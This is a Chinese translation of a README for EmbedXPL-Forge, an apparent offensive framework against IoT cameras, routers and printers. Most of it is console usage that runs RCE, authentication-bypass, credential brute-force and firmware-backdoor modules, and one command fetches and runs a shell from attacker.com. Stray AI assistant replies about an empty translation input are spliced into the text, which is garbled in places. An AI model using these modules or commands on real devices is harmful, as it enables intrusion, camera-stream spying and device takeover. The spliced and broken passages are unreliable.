### 选项 2 — 使用 Nmap NSE 脚本```bash
# Install EmbedXPL + NSE dependencies
pip install "embedxpl[nse]"

# Install the 7 custom NSE scripts into Nmap's scripts directory
python -m embedxpl.nse install
# or using the entry point:
embedxpl-nse install

# Verify installation
python -m embedxpl.nse list

### 选项 4 — Python 模块```bash
pip install embedxpl
python -m embedxpl

## 用法

### 交互式 Shell```
exf > use exploits/routers/dlink/dir_300_600_rce
exf (D-Link DIR-300 & DIR-600 RCE) > show options
exf (D-Link DIR-300 & DIR-600 RCE) > set target 192.168.1.1
exf (D-Link DIR-300 & DIR-600 RCE) > check
exf (D-Link DIR-300 & DIR-600 RCE) > run

### 网络发现```
# Auto-detect subnet from active interfaces and scan (default timing T3)
exf > discover

# Scan specific subnet with stealth timing
exf > discover 192.168.1.0/24 --timing T1

# Force fresh scan, ignore previous session history
exf > discover 192.168.1.0/24 --fresh

会话以 JSON 格式存储在 `~/.exf_sessions/` 中，以 IP+MAC 的 SHA-256 作为键。当重新发现已知主机时，已测试的模块会显示为 `[Tested]`，并默认跳过。

### AutoPwn Scanner```
exf > use scanners/autopwn
exf (AutoPwn) > set target 192.168.1.0/24
exf (AutoPwn) > run

**预期输出：**```
[RTSP] Scanning 192.168.1.0/24 on ports [554, 5554, 8554]...
[RTSP] Found 3 RTSP hosts
[RTSP] 192.168.1.100:554 — Phase 1: Route discovery (195 routes)...
[RTSP] 192.168.1.100:554 — Route found: h264/ch1/main/av_stream
[RTSP] 192.168.1.100:554 — Phase 2: Auth detection → Basic (realm="IP Camera")
[RTSP] 192.168.1.100:554 — Phase 3: Credential brute-force (80 pairs)...
[RTSP] 192.168.1.100:554 — ✓ Credentials: admin:
[RTSP] 192.168.1.100:554 — Phase 4: Stream validated (200 OK)
[RTSP] Attack complete. Accessible streams: 2/3

**预期输入/输出：**```python
# Input
hosts = scanner.skip_scan(["camera.local:554", "192.168.1-2.100-110"])

# Output: [(resolved_ip, port), ...]
# [('192.168.1.100', 554), ('192.168.1.200', 554), ('192.168.1.100', 554), ...]

**预期输入/输出：**```
Input : host=10.0.0.50, port=8080, scheme="http"
Output:
  status  = 200
  server  = "Hikvision IP Camera NVRA (V5.4.5)"
  methods = "OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN"

## Nmap NSE 脚本

EmbedXPL-Forge 包含 7 个自定义 Nmap NSE 脚本，用于 IoT/摄像头扫描和 CVE 检测。

### 安装```bash
# Install with NSE extras
pip install "embedxpl[nse]"

# Install scripts to Nmap (Linux/macOS may need sudo)
python -m embedxpl.nse install
# or
embedxpl-nse install

# Force overwrite existing scripts
python -m embedxpl.nse install --force

# Custom Nmap directory
python -m embedxpl.nse install --nse-dir /opt/homebrew/share/nmap/scripts

### 列表 / 信息```bash
python -m embedxpl.nse list
python -m embedxpl.nse info rtsp-discover

**预期输出：**```
554/tcp open rtsp
| embedxpl-rtsp-discover:
|   Status : 200
|   Server : Hikvision IP Camera NVRA (V5.4.5)
|   Methods: OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN
|   Vendor : Hikvision
|   Known CVEs: CVE-2021-36260 (RCE, CVSS 9.8), CVE-2017-7921 (Auth Bypass)
|   EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   Exploit hint: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_  Full attack: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack

**预期输出（Hikvision）：**```
80/tcp open http
| embedxpl-camera-identify:
|   Protocol : HTTP (HTTP 200)
|   Vendor   : Hikvision
|   Model    : DS-2CD2143G0-I
|   Firmware : V5.6.2 build 190401
|   Serial   : DS-2CD2143G0-I20190401AAWRA123456789
|   CVEs     : CVE-2021-36260 (RCE, CVSS 9.8) | CVE-2017-7921 (Auth Bypass)
|   Vuln assessment: LIKELY VULNERABLE (endpoint accessible without auth)
|   EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_  Run exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260

**预期输出：**```
80/tcp open http
| embedxpl-hikvision-vuln:
|   Device          : DS-2CD2143G0-I
|   Firmware        : V5.3.0 build 170112
|   CVE-2021-36260  : VULNERABLE — endpoint accepts PUT without authentication (CVE-2021-36260, CVSS 9.8)
|   CVE-2017-7921   : VULNERABLE — snapshot captured without valid credentials (CVE-2017-7921)
|   EmbedXPL RCE module  : exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   EmbedXPL Auth Bypass : exploits/cameras/hikvision/info_disclosure_cve_2017_7921
|_  Run full exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260

**预期输出：**```
80/tcp open http
| embedxpl-dahua-vuln:
|   Vendor         : Dahua (or Dahua-OEM: Amcrest / Intelbras / TVT)
|   CVE-2021-33044 : VULNERABLE — snapshot captured via Digest bypass (CVE-2021-33044, CVSS 9.8)
|   CVE-2020-25078 : VULNERABLE — Users disclosed: [admin, operator]
|   CVE-2013-6117  : NOT VULNERABLE
|   EmbedXPL Auth Bypass  : exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|   EmbedXPL Cred Extract : exploits/cameras/dahua/cctv_37777_credential_extraction
|_  Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044

**预期输出：**```
554/tcp open rtsp
| embedxpl-rtsp-creds:
|   Server           : Hikvision IP Camera NVRA
|   Credential found : admin: (empty password)
|   Stream URL       : rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream
|   Auth type        : Basic
|   Response code    : 200
|   EmbedXPL full scan : exploits/cameras/multi/rtsp_cameradar_attack
|_  Run exploit: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack

**预期输出：**```
80/tcp open http
| embedxpl-iot-cve-check:
|   CVE-2021-36260 (Hikvision, CVSS 9.8): POSSIBLY VULNERABLE — HTTP 200 returned
|     → EmbedXPL: CVE-2021-36260 : use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   CVE-2021-33044 (Dahua, CVSS 9.8)   : NOT VULNERABLE — HTTP 404
|   EmbedXPL-Forge: https://github.com/mrhenrike/EmbedXPL-Forge
|_  Full exploitation: pip install embedxpl && embedxpl

**预期输出：**```
80/tcp open http
| embedxpl-camera-snapshot:
|   Endpoint 1 (Dahua):
|     URL          : http://192.168.1.100:80/cgi-bin/snapshot.cgi?channel=1
|     Content-Type : image/jpeg
|     Size         : 45231 bytes
|     Access       : UNAUTHENTICATED SNAPSHOT ACCESS
|     EmbedXPL module: exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|_    Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044

**卸载：**```bash
python -m embedxpl.nse uninstall

**功能说明：**
1. 检测固件格式（TRX、DLOB、SEAMA、WRGG、原始二进制）
2. 在合适的偏移处注入反向 shell 后门
3. 重新计算 CRC32/MD5 校验和
4. 通过厂商特定的刷写端点上传（在适用的情况下绕过认证）
5. 等待设备重启并验证后门执行


## PolyExploit 编排器

为无法移植到纯 Python 的漏洞利用提供运行时 C/C++ 编译和多语言脚本执行能力。

### C/C++ 运行时编译```python
from embedxpl.core.poly import CCompiler

compiler = CCompiler()

# Check available compilers
print(compiler.compiler_available())  # {'gcc': True, 'clang': False, 'mingw': False}

# Compile a C PoC exploit at runtime
binary = compiler.compile_c(
    source="""
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
    // Stack overflow PoC
    char buf[64];
    memcpy(buf, argv[1], atoi(argv[2]));
    return 0;
}
""",
    arch="x86",   # x86, x64, arm, mips, mingw
)
# Returns: Path to compiled binary (cached by source hash)

# Execute with arguments
output = compiler.run_binary(binary, args=["AAAA"*100, "400"])
print(output.stdout)

## v3.1.0 新增内容 — CVE 2026/2025/2024 + 打印机域 + 质量门禁

**54 个新模块**，涵盖打印机、嵌入式操作系统、ICS/OT、智能家居、海事物联网以及 2026 Pwn2Own 攻击链。重点亮点：

### 2026 Pwn2Own 攻击链```
# CUPS Pwn2Own 2026 — Full 4-stage chain (CVE-2026-34477/78/79/80, CVSS 9.9)
exf > use exploits/printers/linux/cups_pwn2own_chain_cve_2026_34480
exf (CUPS Pwn2Own Chain) > set target 192.168.1.10
exf (CUPS Pwn2Own Chain) > set delay 2
exf (CUPS Pwn2Own Chain) > run
[*] [Stage 1/4] Triggering UAF in cups-browsed (CVE-2026-34477)
[*] [Stage 2/4] Heap spray via IPP job attributes (CVE-2026-34478)
[*] [Stage 3/4] ROP chain LPE delivery (CVE-2026-34479)
[*] [Stage 4/4] Chain complete - verifying
[+] CUPS process no longer responding - chain executed

# Lexmark Pwn2Own 2026 — 3-stage chain
exf > use exploits/printers/lexmark/lexmark_pwn2own_2026_chain
exf (Lexmark Pwn2Own) > set target 192.168.1.20
exf (Lexmark Pwn2Own) > run

### Printer Arsenal 示例```
# HP PJL full scan (native — no external tools)
exf > use exploits/printers/hp/hp_laserjet_pjl_scan_native
exf (HP PJL Scanner) > set target 192.168.1.100
exf (HP PJL Scanner) > run
[+] PJL interface reachable
[+] INFO ID: HP LASERJET PRO M402N
INFO STATUS     : READY
INFO PAGECOUNT  : 12847
INFO MEMORY     : 512000 BYTES

# Ricoh HTTP buffer overflow (CVE-2024-34161, CVSS 9.8)
exf > use exploits/printers/ricoh/ricoh_http_bof_cve_2024_34161
exf (Ricoh HTTP BOF) > set target 192.168.1.101
exf (Ricoh HTTP BOF) > run

# Brother LDAP credential passback
exf > use exploits/printers/brother/brother_ldap_smb_passback
exf (Brother LDAP Passback) > set target 192.168.1.102
exf (Brother LDAP Passback) > set attacker_ip 192.168.1.10
exf (Brother LDAP Passback) > run
[+] LDAP server redirected — wait for printer authentication

**全部 27 个新增厂商/模块：**
`alcatel_lucent` · `alpha_networks` · `astoria` · `binatone` · `ddwrt` · `easybox` · `ee` · `freebox` · `mifi` · `motorola` · `observa` · `ruggedcom` · `seagate` · `sitecom` · `starbridge` · `ubee` · `unicorn` · `utstarcom` · `zoom` · 以及 belkin、netgear、trendnet 的补缺。


## 模块结构```
embedxpl/
├── core/
│   ├── rtsp/          # RTSP camera engine
│   │   ├── client.py  # Raw socket RTSP client (OPTIONS/DESCRIBE/auth/TLS/HTTP-tunnel)
│   │   ├── attacker.py# 5-phase attack pipeline (route→auth→creds→validate→re-attack)
│   │   ├── scanner.py # Network discovery (nmap/masscan/direct), CIDR/range expansion
│   │   └── models.py  # RTSPStream dataclass, AuthType enum
│   └── poly/
│       ├── compiler.py# CCompiler — runtime C/C++ compilation (gcc/clang/mingw/cross)
│       └── runner.py  # PolyRunner — Ruby/Node/PHP/Bash/Perl + Metasploit + ExploitDB
├── modules/
│   ├── creds/             # Credential testing (FTP, SSH, Telnet, HTTP, SNMP)
│   ├── exploits/
│   │   ├── cameras/       # IP camera exploits by vendor
│   │   │   ├── multi/     # Multi-vendor (RTSP attack engine, P2P, ONVIF)
│   │   │   ├── hikvision/ # Hikvision (CVE-2021-36260, CVE-2017-7921, ...)
│   │   │   ├── dahua/     # Dahua + OEMs (CVE-2021-33044, CVE-2020-25078, ...)
│   │   │   ├── axis/      # Axis (CVE-2018-10660, ...)
│   │   │   ├── reolink/   # Reolink (CVE-2021-40655, CVE-2022-30600)
│   │   │   ├── amcrest/   # Amcrest (CVE-2019-3950)
│   │   │   ├── uniview/   # Uniview UNV (CVE-2024-37630)
│   │   │   ├── tapo/      # TP-Link Tapo (CVE-2021-4045)
│   │   │   ├── annke/     # ANNKE DVR/NVR (CVE-2021-32941)
│   │   │   ├── swann/     # Swann DVR/NVR (default creds + RTSP)
│   │   │   └── edimax/    # Edimax IC-7100 (CVE-2025-1316, CISA KEV)
│   │   ├── firmware/      # Firmware flash bypass (NETGEAR, TP-Link, D-Link, ASUS)
│   │   ├── nas/           # NAS exploits (QNAP, D-Link NAS, Zyxel)
│   │   ├── routers/       # Router exploits by vendor (85 vendor folders — see full list below)
│   │   ├── vpn/           # VPN/firewall appliances (Ivanti, Fortinet, SonicWall)
│   │   ├── switches/      # Switch exploits (Cisco, D-Link, NETGEAR)
│   │   └── soho_edge/     # SOHO edge device exploits
│   ├── scanners/          # Network scanning and AutoPwn
│   ├── payloads/          # Reverse/bind shells (multi-arch)
│   ├── encoders/          # Payload encoding (Base64, Hex)
│   └── generic/           # CVE lookup, SNMP, UPnP, SSDP, wordlist tools
├── nse/                   # NSE script manager (Python)
│   ├── manager.py         # NSEManager class — install/uninstall/list/run
│   └── __main__.py        # CLI: python -m embedxpl.nse
├── resources/
│   └── rtsp/
│       ├── routes.txt      # 195+ RTSP stream paths
│       └── credentials.json# 80+ default username:password pairs
└── data/
    └── oui.txt             # IEEE OUI database for MAC-to-vendor lookup

nse/                        # Nmap NSE Lua scripts (pip install embedxpl[nse])
├── embedxpl-rtsp-discover.nse
├── embedxpl-camera-identify.nse
├── embedxpl-hikvision-vuln.nse
├── embedxpl-dahua-vuln.nse
├── embedxpl-rtsp-creds.nse
├── embedxpl-iot-cve-check.nse
└── embedxpl-camera-snapshot.nse

I'll analyze this request carefully. The user is asking me to translate "chunk 91 of 107" of a Kitploit tool README from English to Chinese. However, looking at the actual content provided, the INPUT section is empty — there's no actual Markdown content to translate.

The message contains extensive instructions about how to translate, but the actual source text that should appear after "INPUT:" is missing. There is nothing to translate.

I should not fabricate content, invent a README chunk, or produce a translation of text that wasn't provided. Doing so would violate the core instruction to translate ONLY the exact text provided.

Since there is no source content, the correct response is to indicate that no content was provided. I cannot translate an empty input, and I must not generate placeholder or hallucinated content.

The appropriate response is to note that the input is empty.```bash
# Intelbras IWR LuCI RPC RCE
embedxpl use routers/intelbras/iwr_luci_rpc_rce
embedxpl (IWRLuci) > set rhost 192.168.0.1
embedxpl (IWRLuci) > set cmd "id"
embedxpl (IWRLuci) > run

# Expected output:
[+] LuCI RPC endpoint found at /cgi-bin/luci/rpc/sys
[+] RCE via sys.exec: uid=0(root) gid=0(root)

**注意：** CVE-2026-34474 影响 ZTE ZXHN H298A 1.1 和 H108N 2.6。无需身份验证。
**法律声明：** 仅可在您拥有或已获得书面授权测试的设备上使用。

---

### 遗留路由器后门与出厂密码模块

以 EmbedXPL-Forge 模块格式实现的经典路由器后门与出厂密码漏洞利用。

| 设备 | CVE / 参考 | 模块路径 | 攻击类型 |
|--------|----------------|-------------|-------------|
| Cobham Aviator 700 SATCOM | CVE-2014-2943 | `exploits/specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943` | 管理员密码重置（未认证） |
| Huawei HG8245H | - | `osint/keygen/huawei_hg8245_wpa_keygen` | WPA 默认密钥生成器 |
| Alcatel-Lucent OmniPCX Enterprise | - | `exploits/voip/alcatel_lucent/omnipcx_enterprise_mastercgi_rce` | masterCGI 未认证 RCE |
| Linksys E-Series (The Moon) | EDB-31683 | `exploits/routers/linksys/eseries_themoon_rce_tmunblock` | tmUnblock.cgi RCE |
| NETGEAR DGN2200 | EDB-24665 | `exploits/routers/netgear/dgn2200_open_telnetd_rce` | open-telnetd 未认证 RCE |
| Siemens FlexiISN | - | `exploits/routers/siemens/flexiisn_auth_bypass` | 身份验证绕过 |
| Thomson BTHomeHub | - | `exploits/routers/thomson/bthomehub_voice_hijack` | VoIP 配置劫持 |
| AT&T 2Wire Gateway | - | `exploits/routers/two_wire/atandt_gateway_crlf_dos` | CRLF 注入 / DoS |

**使用示例：**```bash
# Cobham Aviator admin reset (VSAT / Satellite terminal)
embedxpl use specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943
embedxpl (CobhamReset) > set rhost 192.168.1.1
embedxpl (CobhamReset) > run

# Expected output:
[+] Connected to Cobham Aviator 700 interface
[+] Sending unauthenticated admin reset request
[!] VULNERABLE: Admin password reset to default

# Linksys eSeries The Moon RCE
embedxpl use routers/linksys/eseries_themoon_rce_tmunblock
embedxpl (TheMoon) > set rhost 192.168.1.1
embedxpl (TheMoon) > set cmd "busybox wget http://attacker.com/shell -O /tmp/sh && chmod +x /tmp/sh && /tmp/sh"
embedxpl (TheMoon) > run

# Huawei HG8245H WPA keygen
embedxpl use osint/keygen/huawei_hg8245_wpa_keygen
embedxpl (HuaweiKeygen) > set ssid "HG8245H-ABCDEF"
embedxpl (HuaweiKeygen) > run
# Output: [+] Predicted WPA key: xA7z3k9P

I don't see any content to translate in your message. The "INPUT:" section is empty — no Markdown text was included.

Please paste the actual chunk 99 content you'd like translated from English to Chinese, and I'll return only the translated Markdown, preserving all structure, code, paths, URLs, and identifiers exactly as required.```bash
# RTSP credential brute force (uses RTSPClient internally)
embedxpl use network/rtsp/rtsp_cred_brute
embedxpl (RTSPBrute) > set rhost 192.168.1.10
embedxpl (RTSPBrute) > set rport 554
embedxpl (RTSPBrute) > set path /live/ch0
embedxpl (RTSPBrute) > run

# Expected output:
[+] Trying admin:admin ... 401 Unauthorized
[+] Trying admin:12345 ... 200 OK
[!] VALID: admin:12345

**提示：**
- FCC ID 印在设备标签上（格式：`GRANTEE_CODE-PRODUCT_CODE`）
- 用于识别 OEM 硬件、固件基础或供应链
- 结合 `osint/github_recon` 查找该设备的公开固件仓库

**要求：** 互联网访问、`requests` 库。

---

### 摄像头 URL 生成器

根据厂商、型号和固件版本，使用 iSpy 摄像头数据库格式生成已知的摄像头流 URL。

**模块：** `osint/camera_url_generator.py`

**使用示例：**```bash
embedxpl use osint/camera_url_generator
embedxpl (CameraURL) > set vendor "hikvision"
embedxpl (CameraURL) > set model "DS-2CD2143G2"
embedxpl (CameraURL) > run

# Expected output:
[+] Known stream URLs for Hikvision DS-2CD2143G2:
    [1] rtsp://<ip>:554/Streaming/Channels/101
    [2] rtsp://<ip>:554/Streaming/Channels/102
    [3] rtsp://<ip>:554/h264/ch1/main/av_stream
    [4] http://<ip>/ISAPI/Streaming/channels/1/picture
    [5] http://<ip>/onvif/device_service

# Generate wordlist for RTSP brute force
embedxpl (CameraURL) > set output_file /tmp/hikvision_routes.txt
embedxpl (CameraURL) > run

**物理利用步骤：**
1. 打开 RSU 外壳（防篡改螺丝）
2. 将 USB 键盘和显示器连接到 RSU 主板
3. 重新通电 - 在 POST 期间按 ESC/DEL/F2
4. 导航：Boot Manager -> EFI Internal Shell
5. 访问文件系统：`fs0:\efi\config\` 以提取配置

**要求：** 对 RSU 硬件的物理访问（显示器 + USB 键盘），或对管理界面的网络访问以进行横幅检测。
**法律：** 未经授权访问收费执法基础设施属于刑事犯罪。仅可在您拥有或获得明确书面授权进行评估的设备上使用。

---

## 框架架构（v3.1.0）

### 组件架构

框架的完整分层视图：CLI 层、核心引擎（编排器、协议客户端、Shell 引擎）、智能层（ML、OUI、CVE 数据库）、质量门禁，以及按类别组织的 2800+ 模块库。

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/63129f66ef4361f16ede4ec2b9379e2efba3843685ddb18c40d8302c0c27d00a/38190b67586381886a6b4fadd441bed66ae0b3a5fe573e650bcb67a032096d54-display-v1.webp" width="960" alt="EmbedXPL-Forge Component Architecture v3.1.0"/>
</p>

### 审计与利用流程

从目标输入到发现、指纹识别、模块选择、利用和报告的端到端数据流。

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/266a4c0b8889e9cd6cdbad9450d3b173190d0bb1f615807ff2d040544cbba45b/774107c9888c0d2a25fbb913c73c6ed3c4a4a43da2782c6bb400a2b1b2421fb6-display-v1.webp" width="960" alt="EmbedXPL-Forge Exploitation Flow v3.1.0"/>
</p>


## 架构与攻击面地图

攻击面地图展示了每个访问向量的模块覆盖范围，采用操作安全图表的风格。
源文件位于 [`docs/diagrams/architecture/`](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/diagrams/architecture)。

### 模块架构概览

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/77e312b38d78c27f7d1de0276c6f304f343f323b2d0f951c2f9a2a5362c3e54c/add82fa1cc0dc85f3f6b414270fdc3e457d72b05d31ec9013ae5a08f8427cf52-display-v1.webp" width="900" alt="EmbedXPL-Forge Architecture Overview"/>
</p>

### APT 组织攻击链

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/e1ab0771072292d7cfd319a886323c1ee5630374de9b7aa88652badb233f10db/540b3fc97ec030a32c27f896ee3e03fa11e349dd9ba8fdc10905618932d9e9ce-display-v1.webp" width="900" alt="APT Group Attack Chains"/>
</p>

### SOHO 路由器攻击面

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/5254908f6c1a366a0fb268b89fe1c3260a2d67d2fad0e3380b9d846af5e245ca/e15dbde66c8adc6a223f2ef570c2b202a8cd58b5f69f924399be4a32debf3511-display-v1.webp" width="900" alt="SOHO Router Attack Surface"/>
</p>

### TP-Link 攻击面（APT28/GRU 行动）

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/93f5be2a074ef3b827832e532658e6ea0ada911f9ed0433a4986355ca34e11bf/436ac5ee2ad503629993f8cb04ca563f0d36b2409664abc74705aee9b5d8dbaa-display-v1.webp" width="900" alt="TP-Link APT28 Attack Surface"/>
</p>

### MikroTik RouterOS 攻击面

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/b36a43e11581966fcf539289c66b6694ab23910a52a9c0ed031f18402d366bc4/910bb2d9cd7b55834ebfb6dfd6b02121f3242bf8140435afb2ab28fc196b1faf-display-v1.webp" width="900" alt="MikroTik Attack Surface"/>
</p>

### GPON ONT 攻击面（Huawei EG8145）

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/31f8afeec116e1cfea33753c26b01905351cc1c2a03bc46175f155dbe5e06dfe/34dc8af47fd53c639ed089f6797407be884617726c885c5faad96e7a22b6a078-display-v1.webp" width="900" alt="GPON ONT Attack Surface"/>
</p>

## 要求

- Python 3.8+
- 可选：`nmap`（二进制文件）用于增强网络发现和 NSE 脚本
- 可选：`masscan` 用于高速 RTSP 发现
- 可选：`gcc`/`clang` 用于 PolyExploit C/C++ 运行时编译
- 可选：`msfconsole` 用于通过 PolyRunner 集成 Metasploit

**Python 依赖（自动安装）：**
`requests`、`paramiko`、`pysnmp`、`pycryptodome`、`scapy`、`colorama`、`rich`、`python-nmap`、`aiohttp`

**NSE 附加组件（`pip install "embedxpl[nse]"`）：**
`python-nmap`（已包含在核心中）

完整列表：[`requirements.txt`](https://github.com/mrhenrike/embedxpl-forge/blob/master/requirements.txt)

## 法律免责声明

EmbedXPL-Forge 仅供授权的安全测试和研究使用。请仅在您拥有或获得明确书面许可进行测试的系统上使用此工具。未经授权访问计算机系统是违法的。作者对滥用不承担任何责任。

## 许可证

BSD 许可证 — 详情请参阅 [LICENSE](https://github.com/mrhenrike/embedxpl-forge/blob/master/LICENSE)。
---

## 联系方式

**支持 / 一般咨询：** [email protected]
**安全问题：** [SECURITY.md](https://github.com/mrhenrike/embedxpl-forge/blob/master/SECURITY.md)

---

### André Henrique

| | |
|---|---|
| GitHub | [@mrhenrike](https://github.com/mrhenrike) |
| X / Twitter | [@mrhenrike](https://x.com/mrhenrike) |
| LinkedIn | [mrhenrike](https://www.linkedin.com/in/mrhenrike/) |

### União Geek

| | |
|---|---|
| 网站 | [uniaogeek.com.br](https://uniaogeek.com.br/) |
| 博客 | [uniaogeek.com.br/blog](https://uniaogeek.com.br/blog/) |
| GitHub | [Uniao-Geek](https://github.com/Uniao-Geek) |
| Instagram | [@uniaogeek](https://www.instagram.com/uniaogeek/) |

---

**许可证：** BSD-3-Clause License - Copyright (c) 2026 União Geek
**创建者：** André Henrique ([@mrhenrike](https://github.com/mrhenrike)) | [União Geek](https://uniaogeek.com.br/)

[Leia em Português](https://github.com/mrhenrike/embedxpl-forge/blob/master/README.pt-BR.md) - [Command coverage](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/commands.md) - [Wiki](../../wiki)